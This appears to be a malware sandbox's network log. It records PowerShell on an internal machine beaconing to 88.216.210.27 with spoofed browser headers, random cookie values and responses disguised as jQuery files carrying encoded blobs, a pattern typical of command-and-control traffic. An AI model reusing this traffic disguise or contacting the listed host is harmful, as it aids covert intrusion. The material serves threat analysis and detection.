Apr 9, 2023 02:58:58.898035049 CEST	290	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=WMs_ugMIX_3SPJC7YR3R2qK3vNE1jH_gz4SWd_fnpr17_EjKSlC5raDBQmDkNt_VsKI6t1vn4oSbsjjnTmcT4f4V818ydioE0tFj4gScoNzM1znhaG2TzxqzwV9wu3mQnE28MRBlV-HqMRtOVSf7YctFvryK20RsmNNOlhUZPgNt_ycX User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:59.058723927 CEST	290	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:58 GMT Server: CloudFront Content-Length: 2516 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:59.058792114 CEST	291	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:59.058845997 CEST	293	IN	Data Raw: 45 46 41 42 41 4c 4e 50 48 47 4e 45 4a 4d 4f 4a 4f 43 4f 50 4c 48 4e 4e 41 4d 4b 4f 43 46 42 42 4a 41 42 4c 4c 44 45 4e 4b 50 47 44 4e 4e 43 4d 42 44 43 4d 46 50 4d 41 42 4a 47 4c 42 4d 47 4c 4d 4f 4a 45 48 4a 4c 50 41 45 43 47 47 43 47 4e 45 49 Data Ascii: EFABALNPHGNEJMOJOCOPLHNNAMKOCFBBJABLLDENKPGDNNCMBDCMFPMABJGLBMGLMOJEHJLPAECGGCGNEIDOAHHNJAFEFKMBAODKOBNCIMOMNLGBBODIHIBMFFCKCOHAGFJDKBFFLMKIHGGGBFMLHHMDHJCPLPMLIKGLAGPNEPDLFNBEENKLBBIDCIILLCODLJOIFKGPJCGEPKMCALOIJMNNAEFADKMLHMGPLMJAJHKFIBLFOBA

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.5	49733	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:59.323122978 CEST	294	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=iOS7ktMn29UCExSTsTJV8nKYOPnlo_vIH6sSXyfIIpWr08zimn89hXDuxkg0GVv9YI2-n4vIZqxLnbzPnkiXyS46d3fiWa4sAv7nytSzJPQc-L3JuEIX58qcRXeglP24TGI4GcBK08k6Hp9mhQh_SRtqOpRa9MBESPzKvsU2uiu90KM_ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:59.471854925 CEST	294	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:59 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:59.471893072 CEST	295	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:59.471925020 CEST	296	IN	Data Raw: 41 46 45 49 4c 4e 50 44 4b 4c 49 46 47 4a 4c 41 4e 4e 43 42 4f 49 4a 49 41 42 41 4c 50 47 41 4d 4a 4b 4b 44 41 4b 50 45 4a 48 42 44 44 4d 48 45 48 42 4c 4d 42 4a 4f 46 43 4e 4b 4f 46 45 43 4a 44 48 43 48 43 4f 44 4f 48 49 41 47 4a 49 41 42 44 49 Data Ascii: AFEILNPDKLIFGJLANNCBOIJIABALPGAMJKKDAKPEJHBDDMHEHBLMBJOFCNKOFECJDHCHCODOHIAGJIABDIGHOBFKBCGPIBEGJMIBJOADDBIIMCGIFKHFDLOEMOIFNCECAOPJLEGFHHFAAKABCBBDOCKFPNDAGJML/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49689	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:40.793776035 CEST	124	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=TclGyxYKJozHPunKdB-oq7e1xaAgjgaR2obvBuLl38xu_jG7X1LA3LXDOxHxNKakpaBDxk7lm_WOsEGWW2VqkOsXii4ndFN1x9MakxGe2a3Z1UCQfW_qvg-xuC5luQDhiU_FQAVnLpD_M2I_QCWCEN5Hx82f2T0djdE35wAbR3J4_V5m User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:40.951584101 CEST	124	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:40 GMT Server: CloudFront Content-Length: 2356 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:40.951633930 CEST	125	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:40.951688051 CEST	126	IN	Data Raw: 42 42 47 4b 4b 43 50 50 45 49 44 41 43 42 44 46 43 50 50 49 41 43 42 47 41 48 46 41 48 47 46 50 4c 43 48 4f 47 4d 4f 4f 49 4e 4c 50 4c 48 4e 50 41 42 47 42 46 44 42 4a 4f 4b 50 46 4b 4f 48 46 4f 43 41 4d 50 41 50 4a 50 4d 4b 44 49 43 48 4d 4e 42 Data Ascii: BBGKKCPPEIDACBDFCPPIACBGAHFAHGFPLCHOGMOOINLPLHNPABGBFDBJOKPFKOHFOCAMPAPJPMKDICHMNBFCCGKMCEFNJLOICPIDPFCHFPMAJCBEANLEMKGBAMPDMAAOGLNMILHJEKODNBEAACOJNOLJFHEEAGCC/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.5	49734	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:58:59.742930889 CEST	297	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=7gVREbXGMVZk8v4Q19O_cRR50nqDQhFLeUr43EEpyBbNMiZh_J7XBhYPLMtS-LF-BmxUHO0pjC8tfFZM-Kl9SkjbnfSEuESvZB8NSbJSznd6GVdK3qP9ZKx9r_TGdRc7KoPSmqarOUpc_3Xl4-mVyn2L0Bc8FSrHLh0gPaPXUKjbMUm8 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:58:59.905518055 CEST	298	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:58:59 GMT Server: CloudFront Content-Length: 2420 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:58:59.905575037 CEST	299	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:58:59.905606985 CEST	300	IN	Data Raw: 46 44 45 44 4e 4c 4a 45 4d 43 4c 4f 50 41 4a 41 42 48 49 44 4d 46 4e 49 4a 41 42 46 4f 48 4d 4e 4b 46 4c 46 47 50 45 45 50 47 47 4d 45 46 4e 4e 42 44 4e 4f 4a 47 48 4a 47 4a 4b 48 4d 4c 50 50 4d 46 4e 4c 46 4b 42 43 48 42 4e 4e 45 47 4c 4a 42 4d Data Ascii: FDEDNLJEMCLOPAJABHIDMFNIJABFOHMNKFLFGPEEPGGMEFNNBDNOJGHJGJKHMLPPMFNLFKBCHBNNEGLJBMFHEHLBMNIFKENCPFJJLGILCLLMMGPBPKPIEFKJJPDMGJGNPPDMKPFDMIDHDKMALJKODDEPNEACMLBLFLDDHKHOFCNOMHBGNBIMMCPNMCBKBNFBPBFJHBLPOLGBLDDGPCHEHPLMMEIBHBPE/*! jQuery v3.4.1 \|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.5	49735	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:00.171130896 CEST	301	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=8v-7mak82954CBSYyylV-QiDOPKfuPvDZbASVF3TIp7RyMzp4GQ9jgr1xkNOAlv2Gpa-lPHTZqcxhrzE5FOXwlQhd3yYQq4neOXnwa6oJP9m473CwlkX7LCHRXzaj_2zNnk4ErpR08JABZ9t_xN_QmFxOp8g78BPMufKtb8tuiDHy6M0 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:00.319890976 CEST	302	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:00 GMT Server: CloudFront Content-Length: 2420 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:00.319932938 CEST	303	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:00.319962978 CEST	304	IN	Data Raw: 47 50 4f 41 4d 46 41 4f 4b 4e 41 4f 48 4b 41 4d 43 48 4a 48 42 48 4e 44 4b 49 41 4a 45 4b 42 4f 49 47 4a 45 42 4a 48 42 4e 48 42 47 46 41 4c 43 4d 4a 4e 4a 4d 4e 4b 41 41 4b 4e 43 4c 43 44 50 46 50 45 4d 47 45 46 4b 4e 4f 4b 46 46 4a 42 4d 49 49 Data Ascii: GPOAMFAOKNAOHKAMCHJHBHNDKIAJEKBOIGJEBJHBNHBGFALCMJNJMNKAAKNCLCDPFPEMGEFKNOKFFJBMIIAEEMMJJEIGIPBGEIEICBKCNOOIFPMPHNHEPDHGIJGAKICGBLELEFHMJJBEBIFBKNDKFNIJNFNKJLMKPJJFINLBCPNFMNCBFANMAADMGKBPKHHEFFLBPEGMPJJMHGKBJGKJELECKJADMIEB/*! jQuery v3.4.1 \|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.5	49736	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:00.587085962 CEST	305	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=gTFVt9ryNfALxvq2uOe713tN1tzsdhXtFn78ei4dzLCiBiLHk6rToHk7KG09zLXYaVhQuoIdiIlCSFLql5157CfvmVLrjEAJCysJ791mytEVLVPssZf5wsNJq1KpQROdRbfWPMmfPewzy3FDjN2RbBK_1LFTIS5hQSkkm8zjVA60BU0a User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:00.750747919 CEST	305	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:00 GMT Server: CloudFront Content-Length: 2516 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:00.750787020 CEST	307	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:00.750813961 CEST	308	IN	Data Raw: 43 45 49 47 50 4b 42 50 4e 49 4f 43 45 4a 4f 4c 46 47 4c 4d 49 4e 48 43 4c 4b 42 44 49 46 46 4c 4e 4e 44 4c 48 49 41 44 41 4e 4f 50 47 49 48 50 43 4d 4d 4a 43 43 4e 43 44 42 43 45 46 4d 4a 49 42 4d 43 43 4f 46 43 48 44 43 45 50 4a 49 46 4b 48 50 Data Ascii: CEIGPKBPNIOCEJOLFGLMINHCLKBDIFFLNNDLHIADANOPGIHPCMMJCCNCDBCEFMJIBMCCOFCHDCEPJIFKHPGGMMJMJNFHNEJCEOGKAHIKLEIOFDGDBEAAGDIKLKEOCAGKJPKPJKHAOEFMFJMJCOIKNCBAKIJONCJEMABLIEPHCHBADDBJPHDEKDJBCBKGJMDGMFGDFANDMDFBPIMIKHOOHBMCACDJBBCOOMGNLDGCDDLGHFLJIAC

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.5	49737	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:01.013955116 CEST	309	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=RME0Rx8CVADONptGfRfaJ769tywphnQd046diuvtrUBn9kM3VlqyULzLSZ34PNQorKgxSkft6XmHuDMaUm0YHOIf-KIufCH5zttoHxiWqyHQ3TIcdGeYMga5yqJssXJtgEe3zAxvXBz2OxCzSS3wnNdPtUGW0U-RhNlFawkTNf5x9Szq User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:01.162934065 CEST	309	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:01 GMT Server: CloudFront Content-Length: 2388 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:01.162992954 CEST	311	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:01.163047075 CEST	312	IN	Data Raw: 50 43 45 47 45 42 41 49 44 45 46 47 4c 45 42 42 45 49 49 4b 4c 4e 49 49 45 46 45 43 4c 41 46 4a 43 46 47 45 4e 4a 46 4d 47 44 46 4f 49 50 48 4f 4f 4c 4f 4e 47 4d 44 48 45 44 47 4a 41 50 48 4d 43 4f 4a 42 4d 47 4a 4e 4b 50 4c 50 4c 45 42 46 4b 4d Data Ascii: PCEGEBAIDEFGLEBBEIIKLNIIEFECLAFJCFGENJFMGDFOIPHOOLONGMDHEDGJAPHMCOJBMGJNKPLPLEBFKMMKEPBPJFHPDMMLFLKOHBNKGLHDDHJGDAFJMGPDGOIBKFINBKLNLNJJBMCIEJDPKIMAMBEOBJIBNJKPGGPMPDEGDHGFOIKHMNBELKGJIGNCMGPK/*! jQuery v3.4.1 \| (c) JS Foundation and other con

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.5	49738	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:01.431916952 CEST	313	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=I6OwSnhg0A2pVB9LGnVeKtnfMyFO5PAQtOwZh4yPKU0AlMc6MTg2XdupzZCfXlAly8q1RyCPbXTg2rcXNQ-cEYV9fK9JHqX0qbnsEn_0Lyy3v7YREwUcP2HbTq8L0_Zg5yUzwWsN2BGRWZS-Lk90kbAtMUzxs8uc47vBZm5xsfMWl6jn User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:01.596823931 CEST	313	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:01 GMT Server: CloudFront Content-Length: 2612 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:01.596887112 CEST	315	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:01.596931934 CEST	316	IN	Data Raw: 4c 50 42 44 4d 4c 4a 50 4f 41 50 4b 50 41 41 4d 44 4a 4c 4c 4e 4a 50 42 50 49 4a 48 4f 4f 4b 4a 45 4e 41 49 4b 43 47 44 41 4e 46 49 50 4c 4d 41 41 4a 46 49 48 4b 4b 41 4d 4f 4a 4b 43 4d 49 4e 4f 4f 4d 4f 4c 4f 4c 46 4e 48 4b 49 4c 4a 4c 4b 45 49 Data Ascii: LPBDMLJPOAPKPAAMDJLLNJPBPIJHOOKJENAIKCGDANFIPLMAAJFIHKKAMOJKCMINOOMOLOLFNHKILJLKEIOHMCKMFECCHBGFHMLEMBBFFEKHKIKMLHILDHNNBOOODEMEBHNHADBEPLIMDJDGJAJKCAAOFNKMDFJMEDADKLFBPCNPODPFPDKBGCFKGJFHADDNKMBGLDNFMOMOGGIFEMBJBEJPLOHIJNBCEPBOCPLCIMJBGGFAMCC
Apr 9, 2023 02:59:01.596978903 CEST	316	IN	Data Raw: 65 28 72 2c 69 29 3b 6e 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6f 29 2e 70 61 72 65 6e 74 4e 6f 64 65 3b Data Ascii: e(r,i);n.head.appendChild(o).parentNode;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.5	49739	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:01.856004000 CEST	317	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=IYMPFXpAb1KrdKAUGFXhddv_jH5MxE9Ptsym2I6vlhICtHhlMxiJAtmJcs-dfu96yeoKGCKv0ivi-ghINy8jToddw_BLPhqrq5lTTX3UkHO1nwlOESWjYGP78fAJ80k_5QWMnmktZ06TeSvhLG_LzrINjhPzk3TD4Zt-OWxRDqwUtxe4 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:02.006186962 CEST	317	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:01 GMT Server: CloudFront Content-Length: 2516 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:02.006239891 CEST	319	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:02.006310940 CEST	320	IN	Data Raw: 4f 47 50 4b 44 4d 43 47 43 4b 4d 4a 43 4c 4e 4f 4a 4d 46 4b 41 4f 4a 47 45 44 4e 47 46 4f 4d 4f 42 47 4f 42 4b 46 44 50 42 46 48 49 4f 46 48 49 44 4b 41 4d 47 4c 46 4d 43 4c 49 4a 47 41 44 4d 46 49 50 43 45 4a 49 50 46 4d 4f 46 4b 4c 4f 41 4b 4d Data Ascii: OGPKDMCGCKMJCLNOJMFKAOJGEDNGFOMOBGOBKFDPBFHIOFHIDKAMGLFMCLIJGADMFIPCEJIPFMOFKLOAKMBJODEPEDGOFIDMCHGILJFJNJIOLBOPKFLBBGENJALFNKKKMEKEFNFPJMGCJFNHFKMPHEBPCCIDIDNLINFMPACCCPEHBFCCCGOLGLDILHLOLCMBGPLBALPJEBFCLKCAGMCLAJCIMOMAMDJPMLJHLIPFMNOICGFKFFA

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.5	49740	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2023 02:59:02.270787954 CEST	321	OUT	GET /design/query/9X5M3SOE0F HTTP/1.1 Accept: application/xhtml+xml, application/json, image/* Accept-Language: es-do Accept-Encoding: *, identity Cookie: _WGid=QWoFBhqpZUHLnaoHeLzrZrsWhm0sLUVc1iWsy-5GnAFiXXJ2U_GDEblgeNz9l-VpqQMAC0JG2DiCEwJbV8YpXee0yeMr1xC4y3BZXh09mmDVdgNdccypcwMS--NpGkMsheyGjQnEbV3zkCHyTIbB3dLkhACTen7QgXJ0Kgy4BL90Xh2r User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.1805 Safari/537.36 MVisionPlayer/1.0.0.0 Host: 88.216.210.27 Connection: Keep-Alive Cache-Control: no-cache
Apr 9, 2023 02:59:02.431674957 CEST	321	IN	HTTP/1.1 200 OK Date: Sun, 9 Apr 2023 00:59:02 GMT Server: CloudFront Content-Length: 2324 Keep-Alive: timeout=10, max=100 Connection: keep-alive Content-Type: application/javascript; charset=utf-8 Cache-Control: max-age=0, no-cache Pragma: no-cache
Apr 9, 2023 02:59:02.431730032 CEST	323	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 55 49 20 2d 20 76 31 2e 31 32 2e 31 20 2d 20 32 30 31 36 2d 30 39 2d 31 34 20 20 20 20 2a 20 68 74 74 70 3a 2f 2f 6a 71 75 65 72 79 75 69 2e 63 6f 6d 20 20 20 20 2a 20 49 6e 63 6c 75 64 65 73 3a 20 77 69 64 67 65 Data Ascii: /! jQuery UI - v1.12.1 - 2016-09-14 http://jqueryui.com * Includes: widget.js, position.js, data.js, disable-selection.js, effect.js, effects/effect-blind.js, effects/effect-bounce.js , effects/effect-clip.js, effects/effect-dro
Apr 9, 2023 02:59:02.431770086 CEST	324	IN	Data Raw: 4c 50 45 46 47 45 4c 42 4c 4f 43 42 42 47 42 45 4b 4b 4a 43 4e 44 4a 4b 48 45 41 48 4e 48 48 4d 42 4b 4f 49 4b 4e 4b 41 43 44 50 44 46 45 4b 41 4c 49 4c 48 42 4f 42 46 48 44 4f 4a 42 4a 4d 4b 50 41 42 4f 4a 41 4f 4b 4d 47 41 45 4a 50 4e 47 4c 45 Data Ascii: LPEFGELBLOCBBGBEKKJCNDJKHEAHNHHMBKOIKNKACDPDFEKALILHBOBFHDOJBJMKPABOJAOKMGAEJPNGLEIFCHCPKAOJEMLJICIPHDJHGAIPILACAOHCJBGKIGNIOHHC/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license / !function(e,t){'use strict'

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.5	49741	88.216.210.27	80	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	kBytes transferred	Direction	Data
